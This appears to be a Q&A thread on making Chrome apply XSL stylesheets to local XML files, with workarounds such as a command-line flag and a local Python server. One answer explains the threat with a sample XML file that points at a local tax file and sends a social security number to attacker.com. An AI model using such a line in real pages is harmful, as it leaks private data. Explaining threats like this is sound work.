Can Chrome be made to perform an XSL transform on a local file?

Solution 1:

The short answer is "No, use one of the diverse set of browsers out there".

The reason this doesn't work is due to a security concern that Chrome has addressed in a controversial way^[1][2][3][4], by blocking XML files from accessing local XSLT files in the same directory, while HTML files can access .CSS files in the same directory just fine.

Across the issues cited above, users have asked for a clearer error message (since the domains, protocols and ports do in fact match), or at least displaying the XML without the styling. Chrome developers have ignored these requests.

Solution 2:

You can do this locally using Chrome's command line flags.

The specific flag is --allow-file-access-from-files

On OS X: from Terminal.app run /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

On Windows: from the command prompt run %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Note: You will probably have to quit Chrome if it is currently running otherwise Ch

Solution 3:

If you want to stick to the OP, the answer is No (as others have pointed out) but one way to fix the problem is to run a simple webserver and open files via http in chrome. If you have python 2.x installed, you can run a webserver by typing:

python -m SimpleHTTPServer

Or in python 3.x :

python3 -m http.server

and then open file using http://localhost:8000/yourfile.xml in chrome. Hopefully you just want to get your work done and its not a crucial thing to have to open file using file://

Solution 4:

It took a bit of deciphering on the Chrome Bug page - they are very keen on not explaining what the problem is, and why they chose breaking everyone rather than not breaking everyone.

Assume i have an XML file - somewhere - on my hard drive, e.g.:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

And a malicious entity - somehow - managed to drop a malicious Xml file on my computer, e.g.:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml contains a stylesheet Processing Instruction (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

The attacker then instructs my browser to navigate to the locally saved trojanVirusWorm.xml file.

Apparently there's a way that an XML file can read the contents of the XSD file (rather than being transformed by the XSD file):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

I don't understand how an XML file can read a stylesheet file. But the Chrome team assures us that it's a danger, and that it cannot be solved.

Every other browser solved it. They solved it because it's not a problem.

Solution 5:

My workaround to see an xml according to an xsl file

Suppose we have an some_file.xml with headers:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>

We download the file https://some-site.com/Common.xsl and place it next to the some_file.xml
Change part of our header from href="https://some-site.com/Common.xsl" to href="http://localhost:8001/Common.xsl"
Run in the directory with our files - python3 -m http.server 8001
Open in any browser http://localhost:8001/some_file.xml